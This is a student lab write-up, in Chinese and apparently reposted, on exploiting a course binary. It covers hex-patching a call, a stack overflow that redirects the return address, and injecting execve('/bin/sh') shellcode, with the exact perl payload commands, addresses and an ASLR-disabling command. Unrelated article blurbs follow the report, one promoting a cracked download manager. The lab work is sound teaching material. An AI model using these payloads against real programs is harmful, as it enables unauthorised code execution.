20231911 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容
1.1 缓冲区
缓冲区是内存空间的一部分,在内存中预留了一定的存储空间,用来暂时保存输入和输出等I/O操作的一些数据,这些预留的空间就叫做缓冲区。

1.2 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

1.3 实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实践过程
2.1 手工修改可执行文件
1、首先将 kali 虚拟机名称改为:maxing
在这里插入图片描述2、将学习通中的pwn1文件复制到kali虚拟机中,进入桌面并修改桌面上的pwn1文件为pwn20231911
在这里插入图片描述3、输入指令: objdump -d pwn20231911 | more ,对pwn20231911文件进行反汇编操作:
在这里插入图片描述在命令行的众多信息中可以看到getShell、foo、main等一系列函数:
在这里插入图片描述main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。
而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
如果现在不调用foo函数,改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。

4、下面进行具体修改:
首先使用指令: cp pwn20231911 task 对pwn20231911文件进行保护,防止破坏:
在这里插入图片描述下载xxd
在这里插入图片描述
然后然后用vi编辑器打开拷贝出来的task,输入指令:vim task:
在这里插入图片描述
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。
在这里插入图片描述在这里插入图片描述
接着输入指令::wq 进行保存并退出输入 ls -l,查看文件权限:
在这里插入图片描述再次进入task文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3:
在这里插入图片描述在这里插入图片描述将格式更改回去,然后退出。

接着输入指令:objdump -d task | more进行验证:发现已经成功修改。
在这里插入图片描述2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串

1.可以看到:getShell起始函数地址为0804847d:
在这里插入图片描述oo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba,接下来要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。

2.在虚拟机终端输入指令:apt install gdb,安装gdb:
在这里插入图片描述接着输入命令:gdb pwn20231911调式程序:
在这里插入图片描述3.输入r,回车,表示运行这个文件:
输入一定长字符串:123456123456123456123456123456123456
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出:
在这里插入图片描述输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn20231911,pwn20231911就会运行getShell。
在这里插入图片描述4.继续调试,输入r:
再输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
在这里插入图片描述5.对比“eip 0x34333231 0x34333231”,我们的正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以先生成包括这样字符串的一个文件。

在一个新终端中键入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input:
在这里插入图片描述然后输入xxd input:可以通过xxd查看文件十六进制格式的内容。

2.3 注入Shellcode并执行
在这里插入图片描述设置堆栈可执行并查询文件的堆栈是否可执行、是否关闭地址随机化、关闭地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space
在这里插入图片描述输入命令perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr:
在这里插入图片描述然后在该终端运行(cat input_20231911;cat) | ./pwn20231911注入这段攻击buf
在这里插入图片描述在新终端中用gdb的attach 3230命令启动gdb调试这个进程:
在这里插入图片描述使用命令:disassemble foo命令反汇编,设置断点查看注入buf的内存地址:
在这里插入图片描述输入指令:b *0x080484ae命令设置断点,输入“c”命令(continue)继续运行:
在这里插入图片描述再返回调试终端,输入info r esp命令:
查看栈顶指针所在的位置为 0xffff d55c查找地址为0xffffd37c。
在这里插入图片描述输入x/16x 0xffffd37c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd37c+0x00000004=0xFFFFD380,所以地址应为0xFFFFD380。
在这里插入图片描述接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd380即可,用命令perl -e ‘print “A” x 32;print “\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911:
再用(cat input_20231911;cat) | ./pwn20231911命令次执行程序,攻击成功:
在这里插入图片描述3.学习中遇到的问题及解决
问题1:Kali Linux E:Unable to locate package ,安装不了
解决:参考https://blog.csdn.net/weixin_43729943/article/details/104221462

4.实践总结
通过本次实验,我理解了缓冲区的一些基本情况,而且上课期间,老师也对缓冲区和堆栈问题对同学们进行了提问,并且自己最后也归纳总结,进行了解答,让我对这些知识点有了大致的了解。这次实验主要是一些包很难安装,然后要搜如何解决这个问题,花费大量时间,但也让我学到了,遇到困难要有锲而不舍的精神,一个一个解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/630788.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024年【制冷与空调设备运行操作】考试内容及制冷与空调设备运行操作考试试题

题库来源:安全生产模拟考试一点通公众号小程序 制冷与空调设备运行操作考试内容是安全生产模拟考试一点通生成的,制冷与空调设备运行操作证模拟考试题库是根据制冷与空调设备运行操作最新版教材汇编出制冷与空调设备运行操作仿真模拟考试。2024年【制冷…

SVDD(Singing Voice Deepfake Detection,歌声深度伪造检测)挑战2024

随着AI生成的歌声快速进步,现在能够逼真地模仿自然人类的歌声并与乐谱无缝对接,这引起了艺术家和音乐产业的高度关注。歌声与说话声不同,由于其音乐性质和强烈的背景音乐存在,检测伪造的歌声成为了一个特殊的领域。 SVDD挑战是首个…

Java面试八股之反射慢在哪里

Java反射慢在哪里 动态类型检查: 在反射过程中,Java需要在运行时确定类、方法、字段等的类型信息。这与编译时已经确定类型信息的常规对象访问不同,反射需要额外的类型查询和验证,增加了性能开销。 安全检查: 反射…

Pencils Protocol 获合作伙伴 Galxe 投资,加快了生态进展

近日,Scroll 生态项目 Penpad 将品牌进一步升级为 Pencils Protocol,全新升级后其不仅对 LaunchPad 平台进行了功能上的升级,同时其也进一步引入了 Staking、Vault 以及 Shop 等玩法,这也让 Pencils Protocol 的叙事方向不再仅限于…

表的创建与操作表

1. 创建表 创建表有两种方式 : 一种是白手起家自己添,一种是富二代直接继承. 2. 创建方式1 (1). 必须具备条件 CREATE TABLE权限存储空间 (2). 语法格式 CREATE TABLE IF NOT EXISTS 表名(字段1, 数据类型 [约束条件] [默认值],字段2, 数据类型 [约束条件] [默…

企业计算机服务器中了faust勒索病毒如何处理,faust勒索病毒解密恢复

随着网络技术的不断发展与应用,越来越多的企业利用网络走向了数字化办公模式,网络也极大地方便了企业生产运营,大大提高了企业生产效率,但对于众多企业来说,企业的数据安全一直是大家关心的主要话题,保护好…

【Android踩坑】重写onClick方法时,显示Method does not override method from its supperclass

问题 重写onClick方法时,显示Method does not override method from its supperclass 解决 在类上加implements View.OnClickListener

自然语言处理通用框架BERT原理解读

相关代码见文末 1.概述 问题背景: 传统Seq2Seq模型的局限性: 早期的机器翻译和文本生成任务常采用基于循环神经网络(RNN)的序列到序列(Seq2Seq)模型,这类模型在处理长序列时容易遇到梯度消失/爆炸问题,导致训练效率低,难以捕捉长期依赖。 RNN网络的问题: RNN及其变…

Kotlin扩展函数和运算符重载

扩展函数 fun String.lettersCount():Int{var count 0for(i in this){if(i.isLetter())count}return count } fun main(){val str:String "12we"println(str.lettersCount()) } 相当于直接将方法写在类里面。函数体内可以直接使用this而不用传参。 运算符重载 …

Apifox:API 接口自动化测试完全指南

01 前言 这是一篇关于 Apifox 的接口自动化测试教程。相信你已经对 Apifox 有所了解:“集 API 文档、API 调试、API Mock、API 自动化测试,更先进的 API 设计/开发/测试工具”。 笔者是后端开发,因此这篇教程关注的是 API 自动化测试&#…

程序在银河麒麟系统下实现开机自启及创建桌面快捷方式

目录 1. 机器环境说明 2. 程序开机自启动设置 2.桌面快捷方式设置 3. 附加说明 1. 机器环境说明 机器安装的银河麒麟操作系统属性如下: 2. 程序开机自启动设置 第1步:编写一个脚本,用于自动化启动,为便于后文描述,该脚本名称…

100m/s高速轧制钢材 八轴测径仪检测毫无压力

关键词:八轴测径仪,在线测径仪,钢材测径仪,高速轧制 随着技术的提升,钢材的生产速度越来越快,一些高速生产的钢材,生产速度甚至达到了100m/s,这是一个非常快的速度。 如果汽车以120公里/小时的速度行驶,那么…

IDM Internet Download Manager 无法注册激活/注册按钮无法点击

Internet Download Manager 6.43破解版是一款功能强大的下载管理软件,这款软件能够帮助用户轻松高效地下载各种文件类型,无论你是想下载图片,视频,音乐,文档或是软件安装包,这款软件都能够帮你快速,稳定的下载,并且还支持多种线程下载和断点续传,很够很大程度的节省用户的时间和…

有什么操作简单的副业或兼职呢?

以下是操作简单的副业或兼职 1. 网络兼职 可以在网上找一些兼职工作,如网络营销、客服、文案撰写等,只需要有一台电脑和网络连接即可。 2. 手机任务 可以用手机做做致米宝库的任务,一天有一百多块钱,还可以电脑学习项目资源&am…

随易周刊第006期 - 云梦秦简

📢 随易周刊介绍 这是一个由 前端之虎陈随易 维护的周刊,将会分享笔者一周内的所见所闻。 写一篇周刊 搜集整理发布 需要数天,请尊重笔者的成果,可任意转载,但不要篡改内容。 如果你觉得周刊不错,可以给…

双向RNN和双向LSTM

双向RNN和双向LSTM 一、双向循环神经网络BiRNN 1、为什么要用BiRNN 双向RNN,即可以从过去的时间点获取记忆,又可以从未来的时间点获取信息,也就是说具有以下两个特点: 捕捉前后文信息:传统的单向 RNN 只能利用先前的上下文信息…

Audio Hijack for Mac 激活版:音频录制与处理软件

Audio Hijack for Mac,让您的音频创作更加高效、便捷。它支持多种音频格式的录制和导出,包括MP3、AAC、WAV等,让您的音频作品具有更广泛的兼容性。同时,软件界面简洁明了,操作流畅自然,即使您是初学者也能快…

EasyCVR智慧校园建设中的关键技术:视频汇聚智能管理系统应用

一、引言 随着信息技术的迅猛发展,智慧校园作为教育信息化建设的重要组成部分,对于提升校园安全、教学效率和管理水平具有重要意义。本文旨在介绍智慧校园视频管理系统的架构设计,为构建高效、智能的校园视频监控系统提供参考。 二、系统整…

【嵌入式开发】Arduino人机界面及接口技术:独立按键接口,矩阵按键接口,模拟量按键接口(基础知识介绍)

“生活总是让我们遍体鳞伤,但到后来,那些受伤的地方一定会变成我们最强壮的地方。” 🎯作者主页: 追光者♂🔥 🌸个人简介: 📝[1] CSDN 博客专家📝 🏆[2] 人工智能领域优质创作者🏆 🌟[3] 2022年度博客之星人工智能领域TOP4🌟 🌿[4] …

PCIE协议-2-事务层规范-Virtual Channel (VC) Mechanism

2.5 虚拟通道(VC)机制 虚拟通道(VC)机制提供了对可以在整个结构中传输使用TC(流量类别)标签区分的流量的支持。VC的基础是独立的结构资源(队列/缓冲区及其相关的控制逻辑)。这些资源…